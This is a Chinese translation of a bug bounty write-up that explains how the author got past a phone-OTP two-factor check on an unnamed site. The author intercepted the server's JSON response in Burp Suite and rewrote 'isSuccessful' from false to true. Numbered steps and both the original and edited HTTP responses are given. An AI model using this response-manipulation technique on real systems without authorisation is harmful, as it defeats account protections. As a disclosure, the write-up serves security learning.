原文:
https://vaibhavgaikwad1712.medium.com/2fa-bypass-using-response-manipulation-29d6c2583936
我是来自印度的Vaibhav Gaikwad Bug Bounty Hunter,我最近在Bugcrowd上发现了一个使用响应操纵的2fa绕过技巧。这是我第一次写……
它有修复…
让我们开始…
这是一个私人程序,所以我不能透露网站名称。我们称它为https://example.com。网站有2fa功能,我试着设置2fa(双因素认证)。双因素身份验证是应用程序将要求一个代码后,您输入您的登录id/电子邮件和密码。没有2fa代码,一旦你设置2fa,就不能登录。这个错误是关于添加mfa端点的电话验证。
重现步骤:
[1] 登录https://example.com并创建一个帐户
[2] 验证邮箱id,然后登录到您的帐户
[3] 你会得到你必须填写信息的页面
[4] 现在有一个电话号码验证功能,我们需要验证我们的电话号码
[5] 输入电话号码,我们将得到一个otp
[6] 现在输入otp并使用burp套件拦截这个请求
[7] 将错误的otp放在那里,并对这个请求进行拦截响应
[8] 在此之前发送请求到中继器,并检查响应的正确otp,以便我们可以操作和发送
[9] 我们将得到
--------------------------------------------------分割线------------------------------------------------------------
HTTP/1.1 200 OK
Date: Wed, 10 Mar 2021 06:42:41 GMT
Content-Type: application/json
Content-Length: 212
Connection: close
Server:
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true
X-FRAME-OPTIONS: deny
Content-Security-Policy: default-src ‘none’
Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
Cache-Control: no-store, no-cache
{
“response_status” : 0,
“response_message” : “Success”,
“response_data” : {
“isSuccessful” : false,
“errorInfo” : “This isn’t the code we sent to +91xxxxxxxxx7.”,
“errorCode” : “BDC_1357”
}
}
让我们修改它
先把长度改成114
HTTP/1.1 200 OK
Date: Wed, 10 Mar 2021 06:29:34 GMT
Content-Type: application/json
Content-Length: 114
Connection: close
Server:
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true
X-FRAME-OPTIONS: deny
Content-Security-Policy: default-src ‘none’
Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
Cache-Control: no-store, no-cache
{
“response_status” : 0,
“response_message” : “Success”,
“response_data” : {
“isSuccessful” : true
}
}
[10] 我成功的绕过了2fa认证。
译者:
跟修改响应包绕过登录差不多,现在不太能见到了
本文迁移自知识星球“火线Zone”